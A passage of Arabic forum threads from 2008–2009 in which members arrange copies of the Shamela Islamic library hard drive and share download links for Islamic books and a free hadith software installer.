لو كان هاردسك المكتبة الشاملة (المربوطة بالكتب المصورة) منصوباً في الجهاز على الحرف ( D ) مثلاً بحيث يكون هذا الحرف في (جهاز الكمبيوتر) هو مسار قاعدة بيانات المكتبة الشاملة، ثم جئتُ ووضعت هاردسك آخر وأصبح تشغيله عن طريق الحرف ( D ) .
فهل سيتعرف الكمبيوتر على برنامج المكتبة الشاملة وما يتعلق بها من بيانات وكتب مصورة إذا وضعتها في الحرف ( E ) أو الحرف ( F ) في (جهاز الكمبيوتر)؟
لأنني أظن والله أعلم أن الكمبيوتر سيطلب تحديد مسار البيانات في كل مرة أشغّل بها المكتبة الشاملة، وهذا حصل معي في فترة سابقة وكان مملاً!
فهل هذه المشكلة تم حلها أم لا؟
ـ[يوسف بن عبدالله]ــــــــ[11 - 10 - 08, 04:05 م]ـ
أخي المبارك: مشرف الشهري -- سلمه الله ورعاه
أنا من الإمارات ومستعد أن أكون ناسخاً لهذه الموسوعة بالإمارات لمن أردها بالإمارات، (على أن يبعثوا لي بالهارد - ابتسامة -).
فهل بالإمكان أن أرسل قيمة الهاردسك مع قيمة الشحن لتصلني مع بقية المواد العلمية، كالمخطوطات والمواد السمعية ....
ـ[مشرف الشهري]ــــــــ[12 - 10 - 08, 12:43 ص]ـ
أخي أبا الوليد الطاهري جزاك الله خيرا على هذا الكلام الطيب
أخي الباحث:
الشاملة مع الكتب المصورة تأتي في هاردسك واحد خارجي فمجلد الكتب المصورة في مجلد اسمه pdf ضمن مجلدات الشاملة فإن كان لديك هارد داخلي يتسع ل200 قيقا فانسخه عليه وشغل الشاملة بشكل مباشر أي لا تحتاج لتسطيب
الآخ يوسف نرجو أن تتواصل مع الإخوة في الإمارات أرقامهم في المنتدى (ادخل على الرابط في التوقيع)
ـ[الباحث]ــــــــ[12 - 10 - 08, 08:41 ص]ـ
أخي الباحث:
الشاملة مع الكتب المصورة تأتي في هاردسك واحد خارجي فمجلد الكتب المصورة في مجلد اسمه pdf ضمن مجلدات الشاملة فإن كان لديك هارد داخلي يتسع ل200 قيقا فانسخه عليه وشغل الشاملة بشكل مباشر أي لا تحتاج لتسطيب
ومتى تصل إلى الكويت بارك الله فيك؟ نريد معها أيضاً الـ 200 جيجا (المخطوطات)
ـ[مشرف الشهري]ــــــــ[12 - 10 - 08, 08:20 م]ـ
متى تصل الكويت هذا دوركم بارك الله فيك
كما ذكرت سابقا نسقوا مع الآخ سعود وكما حصل على الموسوعات السابقة يحصل على الشاملة وهمتكم في التوزيع
ـ[أم جمال الدين]ــــــــ[12 - 10 - 08, 09:11 م]ـ
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته ..
هل وصلت هذه الشاملة الى فلسطين؟!
ـ[أبو حكيم]ــــــــ[12 - 10 - 08, 09:23 م]ـ
السلام عليكم ورحمة الله
هل بالامكان عزل الملف او القاعدة التي يقوم البرنامج بتخزين معلومات الربط بين الكتب الالكترونية والمصورة فيها؟؟
في هذه الحالة يمكن لاي واحد ان يضع ما عندة من الكتب المصورة في دليل مشابه للدليل الذي تم فيه وضع الكتب المصورة من قبل الاخوة اصحاب الشاملة الموصولة بالكتب المصورة.
فضلا نحن في انتظار جواب منكم او من خبير
وجزاكم الله خيرا
(يُتْبَع .. اقلب الصفحة)
(61/262)
ـ[مشرف الشهري]ــــــــ[12 - 10 - 08, 09:36 م]ـ
بالنسبة لفلسطين فستصل قريبا بإذن الله وأحد الأخيار هنا سيخبرنا حال وصولها إليه
الآخ أبو حكيم: ننتظر وإياك الخبير فما أنا سوى موزع
ـ[أبومحمد المديني]ــــــــ[15 - 10 - 08, 07:44 م]ـ
الاخ مشرف الشهري جزاك الله خيرا على جهدك وجعله في موازين حسناتك هناك مركز أبحاث يحتاج جدا وضرورة للهاردسك المحتوى على ال150 قيقا للشاملة و200 قيقا للمخطوطات وكل ما عندكم من المخطوطات وهو بالمدينة النبوية فكيف الحصول عليه؟
ـ[عبد الصمد الهولندي]ــــــــ[15 - 10 - 08, 10:31 م]ـ
الاخ مشرف الشهري جزاك الله خيرا على جهدك وجعله في موازين حسناتك هناك مركز أبحاث يحتاج جدا وضرورة للهاردسك المحتوى على ال150 قيقا للشاملة و200 قيقا للمخطوطات وكل ما عندكم من المخطوطات وهو بالمدينة النبوية فكيف الحصول عليه؟
إذا حصلتم على نسخة أرجو أن تخبرونا من فضلكم فإن طلاب الجامعة الإسلامية بالمدينة أيضا يحتاجون إليه, وجزاكم الله خيرا جزيلا وبارك فيكم
ـ[الباحث]ــــــــ[16 - 10 - 08, 01:36 ص]ـ
متى تصل الكويت هذا دوركم بارك الله فيك
كما ذكرت سابقا نسقوا مع الآخ سعود وكما حصل على الموسوعات السابقة يحصل على الشاملة وهمتكم في التوزيع
اتصلتُ بالأخ / سعود، فأخبرني أنه لا يعلم عنها شيئاً بسبب انقطاعه عن الإنترنت!
فلو أرسلتَها له لكي ننشرها في الكويت لكان أفضل بارك الله فيك.
ـ[مشرف الشهري]ــــــــ[16 - 10 - 08, 05:04 م]ـ
ذكرت لك أخي الباحث أنه كما حصل سعود على السابق فبطريقته يحصل على اللاحق (ابتسامه)
ـ[يوسف بن عبدالله]ــــــــ[16 - 10 - 08, 07:07 م]ـ
لم أجد أرقام أخي العزيز لأهل الإمارات، كما أشرت بارك الله فيك في رد.
ـ[أبو عبد الله السني]ــــــــ[16 - 10 - 08, 07:16 م]ـ
ذكرت لك أخي الباحث أنه كما حصل سعود على السابق فبطريقته يحصل على اللاحق (ابتسامه)
السلام عليكم ورحمة الله وبركاته
أخي الحبيب: متى سنحصل عليها في سوريا؟
ثم: أرجو أن تعمل تقرير من مكتبتك بأسماء الكتب، وتضغطه وترفعه على النت، أو ترسله لي، لأنك بهذا تكون قد وفرت علينا وقتاً طويلاً.
انظر هنا:
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=307&extra=news&type_base=103&count=1&type=103
ـ[مشرف الشهري]ــــــــ[16 - 10 - 08, 10:12 م]ـ
برفقه ملف تكست يحوي أسماء الكتب المصورة الملحقة بالمكتبة الشاملة (نسخت أسماء الكتب بأحد البرامج وإلا لو نسختها يدويا لمكثت شهرا)
وأود التنبيه ......... أن البرنامج (الشاملة) لم يعمل معي حتى الآن
وقد أرسلت هذه المشكلة في أحد مواضيع الشاملة المحدثة ولم احصل على جواب والمشكلة تتلخص في أن البرنامج لا يعرض اسماء الكتب
فمن يعرف حلا فليفيدنا أفاده الله
ولعل اخونا الطيماوي يفيدنا بعد وصول النسخة إليه
والغريب أنه يعمل عند من نسخت من عنده ولا اعرف السبب وكل من نسخت لهم لم يعمل عندهم
ـ[جهاد حِلِّسْ]ــــــــ[16 - 10 - 08, 11:48 م]ـ
برفقه ملف تكست يحوي أسماء الكتب المصورة الملحقة بالمكتبة الشاملة (نسخت أسماء الكتب بأحد البرامج وإلا لو نسختها يدويا لمكثت شهرا)
وأود التنبيه ......... أن البرنامج (الشاملة) لم يعمل معي حتى الآن
وقد أرسلت هذه المشكلة في أحد مواضيع الشاملة المحدثة ولم احصل على جواب والمشكلة تتلخص في أن البرنامج لا يعرض اسماء الكتب
فمن يعرف حلا فليفيدنا أفاده الله
ولعل اخونا الطيماوي يفيدنا بعد وصول النسخة إليه
والغريب أنه يعمل عند من نسخت من عنده ولا اعرف السبب وكل من نسخت لهم لم يعمل عندهم
أرجو من الأخ الطيماوي عند وصول النسخة إليه إخباري ...
وجزاكم الله خير ....
ـ[الطيماوي]ــــــــ[17 - 10 - 08, 01:20 ص]ـ
ولعل اخونا الطيماوي يفيدنا بعد وصول النسخة إليه
متى وصلني إن شاء الله سأسعى في حلها ما استطعت
ـ[البلنصوري]ــــــــ[05 - 11 - 08, 12:17 ص]ـ
السلام عليكم ورحمة الله وبركاته
الأخ أحمد عاطف
كيف حالك يا أخي؟
أود أن أحصل على الشاملة 150 جيجا فكثير من طلبة العلم يشتاقون اليها وأنا أقيم بالمنيا الصعيد وعلى استعداد أن آتي للحصول عليها على هارد فما هو السبيل؟ فضلا راجع رسائل الخاص وجزاك الله خيرا.
ـ[أبو مازن العوضي]ــــــــ[05 - 11 - 08, 06:44 ص]ـ
والله هذا العمل مو سهل بارك الله فيكم
ـ[ابو ز كريا الجزا ئري]ــــــــ[05 - 11 - 08, 11:04 ص]ـ
فعل من مجد لنشر هذا الخير في الجزائر
نرجو من الإخوة الجزائريين في الداخل و الخارج تفاعل مع هذا الموضوع
وفي هذا فليتنافس المتنافسون
ـ[أسامة بن الزهراء]ــــــــ[05 - 11 - 08, 03:38 م]ـ
بارك الله فيكم ونفع بجهودكم؛
سؤال: أنا رأيت هنا عناوين لكتب لم يسبق أن تنشر مصورة أو للشاملة
فهل يمكن الحصول عليها منفردة؟!
وفقكم الله وسدد خطاكم
ـ[مشرف الشهري]ــــــــ[05 - 11 - 08, 08:22 م]ـ
إأخي أسامة
نحن الآن نرفع جميع الكتب وتجدها في الموضوع المثبت http://www.ahlalhdeeth.com/vb/showthread.php?t=150943
(يُتْبَع .. اقلب الصفحة)
(61/263)
ـ[عزمي أبو عبد الظاهر]ــــــــ[08 - 11 - 08, 09:04 م]ـ
شكرا لك أخى محمود سنعمل على الإتيان بها وستكون بإذن الله متاحه لكل من أرادها فى المنصورة ولكن بشرط أن يشترط عليه أن يقوم بنسخها لما اراد ... بعد العيد المبارك ستكون متاحة ولكن لابد من وجود هارد كبير مع كل من أرادها.
أبا مهند شكرا لك على تكفلك بهذا الأمر وبإذن الله كما قلت بعد العيد ستكون لدينا ونقوم بسخها لم أرادها ولكن بشرط ...
أخي الحبيب أحمد عاطف السلام عليكم ورحمة الله وبركاته أنا من مصر وأريد الحصول على الهارد الذي يحتوي على الكتب المصورة المرتبطة بالشاملة , فهل بإمكانك مساعدتي أخي الحبيب.
ولقد راسلتك على الخاص أخي الحبيب نظرا لأنني في أمس الحاجة إليها.
وشكرا لكم وللأخ الحبيب مشرف الشهري صاحب هذا المشروع المبارك.
وجزاكم الله خيرا جميعا
وجزاكم الله خيرا جميعا
والسلام عليكم ورحمة الله وبركاته
ـ[أبو إلياس السلفي]ــــــــ[10 - 11 - 08, 01:22 م]ـ
بارك الله فيكم
أنا من المنوفية وأريد الحصول على الهارد الذي يحتوي على الكتب المصورة المرتبطة بالشاملة , فهل بإمكانكم مساعدتي أخي الحبيب في الحصول عليها.
وسأقوم بنشرها في المنوفية لكل من أرادها.
ـ[أبو إلياس السلفي]ــــــــ[10 - 11 - 08, 01:48 م]ـ
بارك الله فيكم
أنا من المنوفية وأريد الحصول على الهارد الذي يحتوي على الكتب المصورة المرتبطة بالشاملة , فهل بإمكانكم مساعدتي أخي الحبيب في الحصول عليها.
وسأقوم بنشرها في المنوفية لكل من أرادها.
ـ[أبو مهند المصري]ــــــــ[10 - 11 - 08, 02:12 م]ـ
إخواننا في الله، لم أحصل بعد على المكتبة الشاملة المرتبطة بالمصورة، لقد قمنا بتوفير (هارد) ذي مساحة أكبر من حجم المكتبة، ولم يوافق الأخ الذي يملك المكتبة (الأخ من منية سمنود)؛ لأن إمكانيات جهازه ليس عالية، وبالتالي سيكون الجهاز ثقيلا في حال تركيب (الهارد) الكبير المساحة مع (هارده).
هناك أخ سيذهب للشبخ مشرف نفسه ويأتينا بالمكتبة ـ إن شاء الله ـ.
سنعلن وقتها عن إمكانية نسخها للجميع، وجزى الله خيرا مَن شارك فيها.
ـ[عبد الله الكتبي]ــــــــ[11 - 11 - 08, 03:52 ص]ـ
بارك الله فيكم
من الأسكندرية
وأريد أن أحصل على نسخة
كيف؟؟؟
وعندنا منفذ ومكان للنسخ -إن شاء الله- في (محطة مصر) لمن أراد نسخها منا
طبعا بعد ان نحصل عليها (ابتسامة)
ـ[أبوحاتم]ــــــــ[11 - 11 - 08, 09:25 م]ـ
سأضيف رابط مهم يبين كيفية الربط لمن أراد أن يربط كتبا بعينها ويتعلم كيفية الربط من باب التعاون على البر
http://majles.alukah.net/showthread.php?p=133293#post133293
يا جماعة تكفون ..
أريد فقط أعرف بالشرح البسيط الممل كيف أقوم بالربط؟
الرابط لا يفتح معي .. وجدت موضوع في الألوكة يشرح كيفية الربط لكن لم أفلح في تطبيقه.
ـ[حسان الشافعي]ــــــــ[21 - 12 - 08, 01:32 م]ـ
السلام عليكم ورحمة الله وبركاته
أخي الحبيب: متى سنحصل عليها في سوريا؟
ثم: أرجو أن تعمل تقرير من مكتبتك بأسماء الكتب، وتضغطه وترفعه على النت، أو ترسله لي، لأنك بهذا تكون قد وفرت علينا وقتاً طويلاً.
انظر هنا:
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=307&extra=news&type_base=103&count=1&type=103
للرفع
ـ[عبد الكريم جاموس]ــــــــ[22 - 12 - 08, 12:22 ص]ـ
ماشاء الله الحمد لله يوجد أهل فضل(61/264)
حمل كتاب: فقه الرد على المخالف - للشيخ خالد بن عثمان السبت pdf
ـ[أبو زارع المدني]ــــــــ[17 - 09 - 08, 03:02 ص]ـ
بسم الله الرحمن الرحيم
الحمد لله رب العالمين , الرحمن الرحيم , مالك يوم الدين
اللهم صلّ وسلم وبارك على نبينا محمد وعلى آله وأصحابه أجمعين
حمل كتاب: فقه الرد على المخالف
للشيخ خالد بن عثمان السبت
pdf
مقسم على سبع ملفات نظرا لكبر حجم الكتاب
إلى أن ييسر الله خروجه كملف وورد
< TABLE dir=ltr cellSpacing=0 cellPadding=0 width=604 border=0><TBODY><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad01.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف1 ( http://www.khaledalsabt.com/ref/media/287)
</TD><TD bgColor=#ffffd6>1
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/mkh-rad1.pdf)
</TD><TD bgColor=#ffffd6> مختصر فقه الرد على المخالف1 ( http://www.khaledalsabt.com/ref/media/294)
</TD><TD bgColor=#ffffd6>2
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/mkh-rad2.pdf)
</TD><TD bgColor=#ffffd6> مختصر فقه الرد على المخالف2 ( http://www.khaledalsabt.com/ref/media/295)
</TD><TD bgColor=#ffffd6>3
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad02.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف2 ( http://www.khaledalsabt.com/ref/media/288)
</TD><TD bgColor=#ffffd6>4
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad03.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف3 ( http://www.khaledalsabt.com/ref/media/289)
</TD><TD bgColor=#ffffd6>5
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad04.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف4 ( http://www.khaledalsabt.com/ref/media/290)
</TD><TD bgColor=#ffffd6>6
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad05.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف5 ( http://www.khaledalsabt.com/ref/media/291)
</TD><TD bgColor=#ffffd6>7
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad06.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف6 ( http://www.khaledalsabt.com/ref/media/292)
</TD><TD bgColor=#ffffd6>8
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/Fokh-rad07.pdf)
</TD><TD bgColor=#ffffd6> فقه الرد على المخالف7 ( http://www.khaledalsabt.com/ref/media/293)
</TD><TD bgColor=#ffffd6>9
</TD></TR><TR><TD background=/sites/khaledalsabt.com/themes/web/images/list/list_06.jpg bgColor=#ffffd6 colSpan=3 height=12></TD></TR><TR><TD bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/alamr+balmaroof.pdf)
</TD><TD bgColor=#ffffd6> الأمر بالمعروف والنهي عن المنكر ( http://www.khaledalsabt.com/ref/media/286)
</TD><TD bgColor=#ffffd6>10
</TD></TR></TBODY></TABLE>
المصدر ( http://www.khaledalsabt.com/cat/20)
(يُتْبَع .. اقلب الصفحة)
(61/265)
ـ[ماجد المسلم]ــــــــ[17 - 09 - 08, 08:58 ص]ـ
جزاك الله خيراً
آخر ملف هو كتاب الأمر بالمعروف للشيخ خالد السبت -حفظه الله- وهي كلها كتب قيّمة
ـ[أبو زارع المدني]ــــــــ[17 - 09 - 08, 04:44 م]ـ
جزاك الله خيراً
آخر ملف هو كتاب الأمر بالمعروف للشيخ خالد السبت -حفظه الله- وهي كلها كتب قيّمة
صدقت فقد أخطأت في النسخ والأخير ليس مع الكتاب
ـ[بن سالم]ــــــــ[18 - 09 - 08, 07:17 ص]ـ
جزاكَ اللهُ خيراً.
وأسأل الله أن يسخر له؛ من: يجعله في ملفٍّ واحدٍ مُفهرَسٍ.
فهذا الكِتاب من أنفَسِ كُتُبِ الشَّيخِ - حفظه اللهُ -.
بل من أنفَسِ الكُتُبِ في موضوعهِ.
ـ[أبو مازن العوضي]ــــــــ[18 - 09 - 08, 07:49 ص]ـ
بارك الله فيكم
ـ[أبو زرعة حازم]ــــــــ[07 - 10 - 08, 11:07 ص]ـ
جزاك الله خيراً
هناك نقص 50 صفحة بين الجزئين السادس والسابع لعل أحد من الأخوة ينبه القائمين على الموقع لهذا
ـ[أبو ذر محمد]ــــــــ[07 - 10 - 08, 05:19 م]ـ
أخي الكريم "أبو زرعة"، لا أرى أي نقص بين الملفين السادس والسابع.
ـ[أبو زارع المدني]ــــــــ[19 - 07 - 09, 11:11 ص]ـ
بارك الله فيكم وهذا مختصر الكتاب
< TABLE dir=ltr id=cats_list_table border=0 cellSpacing=0 cellPadding=0 width=604><TBODY><TR id=tr_544><TD style="BORDER-BOTTOM: #eeedce 1px solid; TEXT-ALIGN: center; HEIGHT: 30px" bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/mkh-rad1.pdf)
</TD><TD style="BORDER-BOTTOM: #eeedce 1px solid; TEXT-ALIGN: right; HEIGHT: 30px" bgColor=#ffffd6> مختصر فقه الرد على المخالف1 ( http://www.khaledalsabt.com/ref/media/294)</TD></TR></TBODY></TABLE>
<TABLE dir=ltr id=cats_list_table border=0 cellSpacing=0 cellPadding=0 width=604><TBODY><TR id=tr_545><TD style="BORDER-BOTTOM: #eeedce 1px solid; TEXT-ALIGN: center; HEIGHT: 30px" bgColor=#ffffd6>http://www.khaledalsabt.com/sites/khaledalsabt.com/themes/web/images/pdf_s.gif (http://www.khaledalsabt.com/system/files/mkh-rad2.pdf)
</TD><TD style="BORDER-BOTTOM: #eeedce 1px solid; TEXT-ALIGN: right; HEIGHT: 30px" bgColor=#ffffd6> مختصر فقه الرد على المخالف2 ( http://www.khaledalsabt.com/ref/media/295)</TD></TR></TBODY></TABLE>
المصدر ( http://www.khaledalsabt.com/cat/20)
ـ[الحوطي]ــــــــ[19 - 07 - 09, 11:59 م]ـ
جزاكَ اللهُ خيراً.
وأسأل الله أن يسخر له؛ من: يجعله في ملفٍّ واحدٍ مُفهرَسٍ.
فهذا الكِتاب من أنفَسِ كُتُبِ الشَّيخِ - حفظه اللهُ -.
بل من أنفَسِ الكُتُبِ في موضوعهِ.
تفضل أخي الكتاب في ملف واحد مفهرس .. ( http://rapidshare.com/files/257687848/RAD.pdf)
ـ[مهاجي جمال]ــــــــ[21 - 07 - 09, 03:29 ص]ـ
تفضل أخي الكتاب في ملف واحد مفهرس .. ( http://rapidshare.com/files/257687848/RAD.pdf)
وهنا على الأرشيف:
http://www.archive.org/details/Fi9hRad3alaMokhalif
وبارك الله في الجميع
ـ[أبو زارع المدني]ــــــــ[14 - 08 - 09, 11:19 م]ـ
أحسن الله إليكم وبارك فيكم
ـ[ابو الفيصل]ــــــــ[03 - 09 - 09, 06:59 ص]ـ
رفع الله قدركم و زادكم من فضله
ـ[حسن مدخلي]ــــــــ[29 - 10 - 09, 09:42 م]ـ
جزاكم الله كل خير على هذه التحف التي لاتقدر بكنوز الدنيا
رزقني الله وإياكم العلم النافع والعمل الصالح(61/266)
رمضانيات المساهم (17): كتاب تحت راية القرآن (لأول مرة) Pdf
ـ[المساهم]ــــــــ[17 - 09 - 08, 03:03 ص]ـ
الكتاب السابع عشر
تحت راية القرآن
المعركة بين القديم والجديد
تأليف
مصطفى صادق الرافعي
التحميل
achive (http://www.archive.org/details/rayah) أو adrive (http://www.adrive.com/public/81208014bb5c53c2862acf9bf387d3ab070a0d37d0dace273f 5b0529d34b1397.html)
بطاقة الكتاب
العنوان: تحت راية القرآن.
المؤلف: مصطفى صادق الرافعي.
دار النشر: المكتبة العصرية.
سنة الطبع: (1423هـ / 2002م).
نوع التغليف: مجلد (312)
ـ[خالد البعلبكي]ــــــــ[17 - 09 - 08, 03:13 ص]ـ
بارك الله بك
هدية قيمة
جزاك الله عنا خيرا
ـ[النصري]ــــــــ[17 - 09 - 08, 03:30 ص]ـ
ما شاء الله على هذه الكتب المفيدة جعلها الله لك في ميزان حسناتك يوم الدين
ـ[إبراهيم أمين]ــــــــ[17 - 09 - 08, 10:31 ص]ـ
جزاك الله خيرا(61/267)
بشرى سارة بخصوص جامع الحديث النبوي
ـ[أبو عبد الله السني]ــــــــ[17 - 09 - 08, 02:03 م]ـ
السلام عليكم ورحمة الله وبركاته
البشرى تلقيتها اليوم من أخ لي يعمل في جامع الحديث النبوي، في شركة إيجيكوم.
وملخصها أن البرنامج سيتاح للتحميل بعد أيام قليلة ودون سيريال أي مفتوح للجميع دون الحاجة للتفعيل عن طريق إنترنت أو غيرها.
ادعوا للإخوة في شركة إيجيكوم، أن يوفقهم الله ويشرفهم بخدمة دين الله.
وأن يعتقهم الله من النار في شهر المغفرة.
ـ[سيدي محمد اندي]ــــــــ[17 - 09 - 08, 03:20 م]ـ
بشرك الله بخير
في الحقيقة لا اعتبر ان في البرنامج مشكلة اذ ان بمجرد ارسال طلب للادارة يرسلون لك سريالا ويتم التنشيط بسهولة
واتمنى ان تنزل التحديثات التي وعدو بها او ينزل الاصدار الجديد
وان تتاح مسالة النسخ بالتشكيل
وان يكون بورتابل (محمولا)
وان تضاف احكام الشيخين شعيب وعبد القادر الارناؤوط لاحاديثه
ـ[الطيماوي]ــــــــ[17 - 09 - 08, 06:29 م]ـ
جامع الحديث برنامج ليس بالهين فيه خدمات ضخمة أسأل الله أن يجزي العاملين عليه خير الجزاء
لكن المستقبل للشامة.
ـ[أبو الوفاء]ــــــــ[17 - 09 - 08, 07:40 م]ـ
بشرك الله تعالى بالخير يا أبا عبد الله ... وننتظر البرنامج
ـ[يحيى صالح]ــــــــ[17 - 09 - 08, 07:47 م]ـ
بشرك الله بخير
في الحقيقة لا اعتبر ان في البرنامج مشكلة اذ ان بمجرد ارسال طلب للادارة يرسلون لك سريالا ويتم التنشيط بسهولة
واتمنى ان تنزل التحديثات التي وعدو بها او ينزل الاصدار الجديد
وان تتاح مسالة النسخ بالتشكيل
وان يكون بورتابل (محمولا)
وان تضاف احكام الشيخين شعيب وعبد القادر الارناؤوط لاحاديثه
الله المستعان
هلاَّ نملةً واحدةً؟ (ابتسامة)
أمنية واحدة تتحقق تكفي، لماذا تتمنى بالجملة؟
ـ[أبو عبد الله السني]ــــــــ[17 - 09 - 08, 08:38 م]ـ
قريباً ستنزل أحكام الشيخ الألباني من كل كتبه على أحاديث جامع الحديث النبوي
ـ[أبو مهند المصري]ــــــــ[17 - 09 - 08, 09:03 م]ـ
السلام عليكم ورحمة الله وبركاته
البشرى تلقيتها اليوم من أخ لي يعمل في جامع الحديث النبوي، في شركة إيجيكوم.
وملخصها أن البرنامج سيتاح للتحميل بعد أيام قليلة ودون سيريال أي مفتوح للجميع دون الحاجة للتفعيل عن طريق إنترنت أو غيرها.
ادعوا للإخوة في شركة إيجيكوم، أن يوفقهم الله ويشرفهم بخدمة دين الله.
وأن يعتقهم الله من النار في شهر المغفرة.
ومن حمله قبل ذلك هل يحتاج إلى إعادة تحميله النسخة التي ستعمل بدون رقم التشغيل، أم ستعمل النسخة التي حملناها قب لذلك من الموقع بدون رقم التشغيل؟
ـ[يونس1]ــــــــ[19 - 09 - 08, 06:41 ص]ـ
اللهم انصرهم.
ـ[صالحي أحمد]ــــــــ[03 - 10 - 08, 01:50 م]ـ
الله يرضى عليكم و رضي الله عليكم و على والديكم
لكن متى يلغى التسجيل
اخبرونا
ـ[أبو سلمى المغربي]ــــــــ[03 - 10 - 08, 11:53 م]ـ
السلام عليكم ورحمة الله وبركاته
بعد عودتي من السفر أول ما ركزت عليه هو الحصول على نسخة من البرنامج الممتع: الجامع للحديث النبوي الاصدار الأخير بدون تفعيل وكنت قبل شهور حملت الاصدار السابق الذي يتطلب التفعيل واتصال بالنيت عند كل تشغيل وفعلا الاصدار الجديد لا يتطلب تفعيلا ولا سريال ولا تشفير تمكنت من تحميله من الموقع الرسمي بعد تسجبل الدخول إليه وقد نصبته وجربته قبل قليل بنجاح والحمد لله وبارك الله في جهد الإخوة القائمين على تطويره فعما قريب سيدخلون عليه أحكام الشيخ العلامة الألباني والشيخ الأرنؤوط
حمله من هنا من سرفر الموقع الرسمي
للعلم أحيانا السرفر التحميل يكون مغلقا لكن قبل قليل حملت منه بنجاح
http://ftp2.sonnaonline.com/IHLSetup/Setup.part1.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part2.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part3.rar
http://ftp2.sonnaonline.com/IHLSetup/Setup.part3.rar
خطوات تنزيل البرنامج
- يتم أولا تحميل الملفات الأربعة من خلال الضغط على
- ثم قم بفك أول ملف فقط من خلال برنامج (( Winrar)) ذا لم يتوفر لديك هذا البرنامج فحمل الاصدار العربي منه Arabic winrar
http://www.rarlab.com/rar/wrar380a.exe
- وابدأ منها التنصيب ( Setup.exe) افتح ملف
- بعد انتهاء خطوات التنصيب قم بتشغيل البرنامج
ـ[أحمد محمد بسيوني]ــــــــ[04 - 10 - 08, 03:14 ص]ـ
http://ftp2.sonnaonline.com/IHLSetup/Setup.part4.rar
هذا رابط الرابع
والله أعلم(61/268)
الإبانة الصغرى لإبن بطة العكبري باللغة الروسية .. وكتب أخرى مترجمة للروسي
ـ[زوجة وأم]ــــــــ[17 - 09 - 08, 02:33 م]ـ
السلام عليكم
هنا الكتاب:
http://www.islamhouse.com/p/145187
وهناك كتب كثيرة مترجمة للغة الروسية ما شاء الله
http://www.islamhouse.com/pg/9236/books/1
والموقع مليء بالكتب المترجمة للغات كثيرة
اسأل الله ان يجزيهم خيرا على عملهم(61/269)
هل كتاب "بغية الرائد لما تضمنه حديث أم زرع من الفوائد" مصور؟
ـ[محماس بن داود]ــــــــ[17 - 09 - 08, 03:27 م]ـ
هل من يدلنا عليه!
ـ[محماس بن داود]ــــــــ[18 - 09 - 08, 02:59 ص]ـ
أرجو ممن يعرف مكان رابط للكتاب أن يتفضل به علي لأنني بحاجة إلى الكتاب
بارك الله فيكم
ـ[أبو جمانة السلفي]ــــــــ[21 - 07 - 09, 07:38 م]ـ
من يتصدق علينا بالكتاب ولو مصوراً
تكفوووووووووون يا الربع
ـ[أبويعلى البيضاوي]ــــــــ[14 - 12 - 09, 09:09 م]ـ
الاخوة الاحبة
قريبا ان شاء الله تعالى سترونه مصورا
والله الموفق
ـ[أبو سليمان الجسمي]ــــــــ[14 - 12 - 09, 11:23 م]ـ
ننتظر الكتاب بارك الله فيك و جزاك خيرا.
ـ[أبويعلى البيضاوي]ــــــــ[19 - 12 - 09, 09:19 م]ـ
الاخوة الاحبة الكتاب الموعود في الرابط ادناه
http://www.archive.org/download/raidayad/raid_ayad.pdf(61/270)
